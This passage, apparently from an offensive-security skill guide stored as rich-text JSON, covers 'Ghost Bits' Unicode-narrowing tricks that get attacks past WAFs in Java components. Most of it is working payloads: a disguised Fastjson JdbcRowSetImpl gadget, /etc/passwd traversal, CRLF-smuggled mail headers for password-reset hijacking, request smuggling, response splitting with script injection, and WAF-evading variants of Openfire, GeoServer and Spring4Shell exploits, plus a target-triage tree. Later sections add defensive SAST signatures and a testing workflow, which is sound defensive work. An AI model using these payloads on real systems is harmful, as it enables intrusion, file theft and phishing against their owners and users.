","type":"text"},{"text":"๐-๙","type":"text","marks":[{"type":"code_inline"}]},{"text":" U+0E50..U+0E59, Punjabi ","type":"text"},{"text":"੦-੯","type":"text","marks":[{"type":"code_inline"}]},{"text":" U+0A66..U+0A6F, fullwidth ","type":"text"},{"text":"０-９","type":"text","marks":[{"type":"code_inline"}]},{"text":" U+FF10..U+FF19).","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\"\\u４_type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://x\"}","type":"text"}]},{"type":"paragraph","content":[{"text":"WAF view: ","type":"text"},{"text":"\\u４_type","type":"text","marks":[{"type":"code_inline"}]},{"text":" (no ","type":"text"},{"text":"@type","type":"text","marks":[{"type":"code_inline"}]},{"text":" literal). Fastjson normalizes fullwidth ","type":"text"},{"text":"４","type":"text","marks":[{"type":"code_inline"}]},{"text":" to ","type":"text"},{"text":"4","type":"text","marks":[{"type":"code_inline"}]},{"text":", then handles ","type":"text"},{"text":"_","type":"text","marks":[{"type":"code_inline"}]},{"text":" via the ","type":"text"},{"text":"\\x","type":"text","marks":[{"type":"code_inline"}]},{"text":" shortcut below, yielding ","type":"text"},{"text":"@type","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"(b) ","type":"text"},{"text":"\\x","type":"text","marks":[{"type":"code_inline"}]},{"text":" escape — Fastjson computes ","type":"text"},{"text":"digits[x1] * 16 + digits[x2]","type":"text","marks":[{"type":"code_inline"}]},{"text":". An illegal hex character returns the default value 0.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"\\x4_ -> '4'(=4) * 16 + '_'(=0) = 0x40 = '@'","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\"\\x4_type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://x\"}","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"View","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Field name","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"WAF","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\\x4_type","type":"text","marks":[{"type":"code_inline"}]},{"text":" (not ","type":"text"},{"text":"@type","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Fastjson","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"@type","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> JdbcRowSetImpl autotype gadget triggers","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)","type":"text"}]},{"type":"paragraph","content":[{"text":"Two combinable tricks:","type":"text"}]},{"type":"paragraph","content":[{"text":"Trick 1 — Family A character substitution in path or query:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"/api/v1/data?file=阮丯阮丯etc丯passwd\n = ../../etc/passwd at the byte layer","type":"text"}]},{"type":"paragraph","content":[{"text":"Trick 2 — Family B ","type":"text"},{"text":"%2>","type":"text","marks":[{"type":"code_inline"}]},{"text":" folding when Jetty's ","type":"text"},{"text":"TypeUtil.fromHexDigit","type":"text","marks":[{"type":"code_inline"}]},{"text":" is in the chain:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"/setup/setup-s/%2>%2>/log.jsp\n = /setup/setup-s/../log.jsp after decode","type":"text"}]},{"type":"paragraph","content":[{"text":"Either alone bypasses most signature WAFs; combined they survive even \"normalized then matched\" rules that only see ASCII percent triplets.","type":"text"}]},{"type":"paragraph","content":[{"text":"Spring CVE-2025-41242 chain (","type":"text"},{"text":"StringUtils.uriDecode","type":"text","marks":[{"type":"code_inline"}]},{"text":" patched in PR #34673):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"input : 阮严灵丰丰甲来\n (.)(%)(u)(0)(0)(2)(e)\nnarrow: .%u002e\ndecode: ..\nresult: arbitrary file read via path traversal","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Stage","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Path","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Spring ","type":"text"},{"text":"isInvalidPath()","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":".%u002e","type":"text","marks":[{"type":"code_inline"}]},{"text":" — no literal ","type":"text"},{"text":"..","type":"text","marks":[{"type":"code_inline"}]},{"text":", allow","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Backend file resolution","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"..","type":"text","marks":[{"type":"code_inline"}]},{"text":" after ","type":"text"},{"text":"%u002e","type":"text","marks":[{"type":"code_inline"}]},{"text":" decode → traversal","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)","type":"text"}]},{"type":"paragraph","content":[{"text":"Trigger: any application that builds SMTP envelopes or headers from user-controlled strings. Internal ","type":"text"},{"text":"ASCIIUtility","type":"text","marks":[{"type":"code_inline"}]},{"text":" does:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"java"},"content":[{"text":"byte b = (byte) ch; // 16-bit char silently narrowed","type":"text"}]},{"type":"paragraph","content":[{"text":"Smuggle CRLF as ","type":"text"},{"text":"瘍瘊","type":"text","marks":[{"type":"code_inline"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"[email protected]瘍瘊Subject: Password reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"View","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"What it parses","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Application validation","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"a single ","type":"text"},{"text":"From","type":"text","marks":[{"type":"code_inline"}]},{"text":" value containing odd CJK","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SMTP server","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"five separate header lines + body, fully spoofed","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Real impact pattern: Jira-style (CVE-2025-57733) password-reset hijacking, Confluence domain allowlist bypass — pair with ","type":"text"},{"text":"crlf-injection","type":"text","marks":[{"type":"link","attrs":{"href":"../crlf-injection/SKILL.md","title":null}}]},{"text":" for non-mail CRLF reuse.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.7 Apache HttpClient ","type":"text"},{"text":"\u003c= 4.5.9","type":"text","marks":[{"type":"code_inline"}]},{"text":" — request smuggling (Family A)","type":"text"}]},{"type":"paragraph","content":[{"text":"HTTPCLIENT-1974 / HTTPCLIENT-1978: header values pass through ","type":"text"},{"text":"OutputStreamWriter","type":"text","marks":[{"type":"code_inline"}]},{"text":" plus a narrow-cast write that emits raw ","type":"text"},{"text":"\\r\\n","type":"text","marks":[{"type":"code_inline"}]},{"text":" for ","type":"text"},{"text":"\\u760D\\u760A","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\\r\\nHost: internal\\r\\nContent-Length: 0\\r\\n\\r\\nGET /public HTTP/1.1","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Hop","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Sees","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Front proxy / WAF","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"one request with a long ","type":"text"},{"text":"X-Auth-Token","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Origin","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"two requests; the second is an admin POST","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Cross-reference ","type":"text"},{"text":"request-smuggling","type":"text","marks":[{"type":"link","attrs":{"href":"../request-smuggling/SKILL.md","title":null}}]},{"text":" for chosen-prefix attacks once the desync is confirmed.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.8 JDK HttpServer — response splitting (CVE-2026-21933, Family A)","type":"text"}]},{"type":"paragraph","content":[{"text":"Reflection of user input into a response header passes through ","type":"text"},{"text":"com.sun.net.httpserver","type":"text","marks":[{"type":"code_inline"}]},{"text":" writers that low-byte-cast each char.","type":"text"}]},{"type":"paragraph","content":[{"text":"Payload (URL parameter or upstream header):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊\u003cscript>alert(1)\u003c/script>","type":"text"}]},{"type":"paragraph","content":[{"text":"Server emits two logical responses; the second carries an attacker-chosen body. Escalates to stored XSS, cache poisoning, and SSO redirect chains.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.9 Other affected components","type":"text"}]},{"type":"paragraph","content":[{"text":"Same Family A primitive, different sink:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Lettuce (Redis client)","type":"text","marks":[{"type":"strong"}]},{"text":" — command injection by smuggling ","type":"text"},{"text":"\\r\\n","type":"text","marks":[{"type":"code_inline"}]},{"text":" into RESP frames; chain to arbitrary ","type":"text"},{"text":"CONFIG SET dir","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"SAVE","type":"text","marks":[{"type":"code_inline"}]},{"text":" for SSRF-to-RCE.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Jodd ","type":"text","marks":[{"type":"strong"}]},{"text":"FileNameUtil","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" — path traversal via ","type":"text"},{"text":"阮","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"丯","type":"text","marks":[{"type":"code_inline"}]},{"text":" because its internal write loop narrows.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"XMLWriter","type":"text","marks":[{"type":"strong"}]},{"text":" — tag-name injection when an attribute or text node value is pushed through a low-byte writer; XXE / XSS pivot.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ActiveJ HTTP","type":"text","marks":[{"type":"strong"}]},{"text":" — CRLF injection identical in shape to 5.7 / 5.8.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Vert.x HTTP body parser","type":"text","marks":[{"type":"strong"}]},{"text":" — Family A in ","type":"text"},{"text":"MultipartParser","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"PAYLOAD_COOKBOOK.md","type":"text","marks":[{"type":"link","attrs":{"href":"./PAYLOAD_COOKBOOK.md","title":null}}]},{"text":" for affected-version matrix and full per-component payload skeletons.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"6. KNOWN-CVE BYPASS RECIPES","type":"text"}]},{"type":"paragraph","content":[{"text":"Use these ","type":"text"},{"text":"exactly when the corresponding CVE is patched but a WAF still fronts the service","type":"text","marks":[{"type":"em"}]},{"text":". Each Payload below shifts the original ASCII attack into a form that survives string-based WAF rules.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Openfire CVE-2023-32315 — auth bypass (Family B)","type":"text"}]},{"type":"paragraph","content":[{"text":"Original public bypass:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp","type":"text"}]},{"type":"paragraph","content":[{"text":"Ghost Bits / ","type":"text"},{"text":"%2>","type":"text","marks":[{"type":"code_inline"}]},{"text":" folding bypass (much harder to signature):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp","type":"text"}]},{"type":"paragraph","content":[{"text":"Each ","type":"text"},{"text":"%2>","type":"text","marks":[{"type":"code_inline"}]},{"text":" collapses through Jetty's lax hex into ","type":"text"},{"text":"%2E","type":"text","marks":[{"type":"code_inline"}]},{"text":" = ","type":"text"},{"text":".","type":"text","marks":[{"type":"code_inline"}]},{"text":", yielding the same ","type":"text"},{"text":"../../","type":"text","marks":[{"type":"code_inline"}]},{"text":" traversal without ever emitting ","type":"text"},{"text":"..","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"%2e","type":"text","marks":[{"type":"code_inline"}]},{"text":" to the WAF.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"GeoServer CVE-2024-36401 — RCE via ","type":"text"},{"text":"Runtime","type":"text","marks":[{"type":"code_inline"}]},{"text":" keyword (Family B)","type":"text"}]},{"type":"paragraph","content":[{"text":"Public WAF rules typically block ","type":"text"},{"text":"Runtime","type":"text","marks":[{"type":"code_inline"}]},{"text":". Inject one folded character:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Ru%6>time","type":"text"}]},{"type":"paragraph","content":[{"text":"Decoder math: ","type":"text"},{"text":"%6>","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> ","type":"text"},{"text":"%6E","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> ","type":"text"},{"text":"n","type":"text","marks":[{"type":"code_inline"}]},{"text":". The expression evaluator now sees ","type":"text"},{"text":"Runtime","type":"text","marks":[{"type":"code_inline"}]},{"text":", the WAF never did.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Spring4Shell CVE-2022-22965 — class loader chain (Family A)","type":"text"}]},{"type":"paragraph","content":[{"text":"Required parameter prefix ","type":"text"},{"text":"class.module.classLoader...","type":"text","marks":[{"type":"code_inline"}]},{"text":". WAFs block the literal ","type":"text"},{"text":"class","type":"text","marks":[{"type":"code_inline"}]},{"text":". Substitute via low-byte chars:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Content-Disposition: form-data; name*=\"㹣౬ᙡ⑳⑳.module.classLoader.resources...\"","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Component","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Char","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Code point","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Low byte","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"c","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"㹣","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+3E63","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x63","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"l","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"౬","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0C6C","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x6C","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"a","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ᙡ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+1661","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x61","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"s","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"⑳","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+2473","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x73","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"s","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"⑳","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+2473","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x73","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Springs's parameter-name resolver narrows back to ","type":"text"},{"text":"class","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)","type":"text"}]},{"type":"paragraph","content":[{"text":"Already demonstrated in 5.5 above. Payload ","type":"text"},{"text":"阮严灵丰丰甲来","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> ","type":"text"},{"text":".%u002e","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> ","type":"text"},{"text":"..","type":"text","marks":[{"type":"code_inline"}]},{"text":" after decode-after-validation.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"[email protected]瘍瘊Subject: Reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234","type":"text"}]},{"type":"paragraph","content":[{"text":"The mail leaves the company SMTP server with valid SPF / DKIM / DMARC, but its ","type":"text"},{"text":"To:","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"Subject:","type":"text","marks":[{"type":"code_inline"}]},{"text":" are attacker-chosen — high-fidelity phishing.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"7. DETECTION DECISION TREE","type":"text"}]},{"type":"paragraph","content":[{"text":"Use this when triaging a target. The point is to avoid Ghost Bits when it cannot help and to ","type":"text"},{"text":"always","type":"text","marks":[{"type":"em"}]},{"text":" try it when the preconditions hold.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,\n WebGoat-style stack trace, X-Powered-By, X-Frame-Options\n with Tomcat default values)\n├── No -> stop, Ghost Bits does not apply\n└── Yes\n │\n ├── Is there a WAF / IDS or input filter blocking your literal payload?\n │ ├── No -> use the literal payload; Ghost Bits is overkill\n │ └── Yes -> continue\n │\n ├── Which sink are you targeting?\n │ ├── File upload via multipart -> recipe 5.1 (Tomcat filename*)\n │ ├── JSON deserialization -> recipes 5.3 (Jackson) / 5.4 (Fastjson)\n │ ├── Class loader / BCEL ref -> recipe 5.2\n │ ├── URL path / parameter -> recipe 5.5 + Family B `%2>`\n │ ├── Header reflection -> recipes 5.7 / 5.8\n │ ├── Mail send -> recipe 5.6\n │ └── Redis / RESP / XML / RPC -> recipe 5.9\n │\n ├── Probe with a single non-destructive substitution first\n │ (replace ONE character with its Ghost variant; observe response\n │ diff: status code, length, header echo, error message, time)\n │\n └── If observable difference appears -> escalate by substituting all\n blocked characters and chain\n through the linked playbook.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"8. SAST / CODE-AUDIT SIGNATURES","type":"text"}]},{"type":"paragraph","content":[{"text":"Three priority tiers when reviewing Java source. Search across all your project repos, all dependencies you can shade, and the ","type":"text"},{"text":"lib/","type":"text","marks":[{"type":"code_inline"}]},{"text":" of any deployed appliance.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Tier 1 — direct narrowing (Family A)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"\$byte\$\\s*\\w+\n&\\s*0[xX][fF][fF]\n&\\s*255\n\\.write\$\\s*[a-zA-Z_]\\w*\\s*\$ # OutputStream.write(int)\nwriteBytes\\s*\$\nStringBufferInputStream\nString\\.getBytes\\s*\\(\\s*int\nRandomAccessFile.*writeBytes","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Tier 2 — lax hex / digit decoding (Families B + C)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Character\\.digit\\s*\\(\nfromHexDigit\nconvertHexDigit\nfromHex\\s*\\(\nuriDecode\nURLDecoder\\.decode\nsHexValues\\[\n& 0x1F\$\\s*\\+\\s*\$.*>>.*\$ \\* 25","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Tier 3 — high-risk wrappers and reachability","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"RFC2231 # Tomcat / mail filename* parsing\nJavaReader # BCEL ClassLoader reachable\nASCIIUtility # Jakarta Mail / Angus Mail\nLineParser # HttpClient header parser\nChunkedDecoder # request smuggling adjacent\ncharToHex # Jackson\nencodeUTF8 # candidate for char->byte writer","type":"text"}]},{"type":"paragraph","content":[{"text":"Per-finding triage applies the ","type":"text"},{"text":"five-dimension risk model","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Dimension","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Higher risk if","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Input control","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"HTTP param, header, filename, JSON key, mail address","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Validation","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"a deny/allow list runs ","type":"text"},{"text":"before","type":"text","marks":[{"type":"em"}]},{"text":" the narrowing site","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Narrowing time","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"conversion happens after security check","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Syntax target","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"result enters URL / SMTP / HTTP / Redis / file system / SQL grammar","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Re-decoding","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Base64, URL-decode, JSON unescape, ","type":"text"},{"text":"%u","type":"text","marks":[{"type":"code_inline"}]},{"text":", etc. happen later","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Risk formula:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"attacker-controlled + check-before-narrow + result-in-protocol-syntax\n + later-redecoding\n = HIGH SEVERITY","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"9. DIFFERENTIAL TESTING WORKFLOW","type":"text"}]},{"type":"paragraph","content":[{"text":"A reproducible, black-box procedure to find new Ghost Bits sinks (red team) or to validate a fix (blue team).","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').\n\n2. Generate the candidate set:\n C = { chr((k \u003c\u003c 8) | T) for k in 1..255 }\n Drop surrogates 0xD8XX..0xDFXX.\n\n3. For each candidate c in C:\n 1. Send a benign request with c at the chosen position.\n 2. Send the same request with literal T at the same position.\n 3. Compare four observables:\n - status code\n - response body length\n - response body content hash (or diff)\n - server-side log line (if available)\n\n4. If any candidate produces a response equivalent to T but differs from a\n \"neutral\" character (e.g. 'X'), you have found a narrowing sink.\n\n5. Repeat for the next T in your priority list:\n 0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),\n 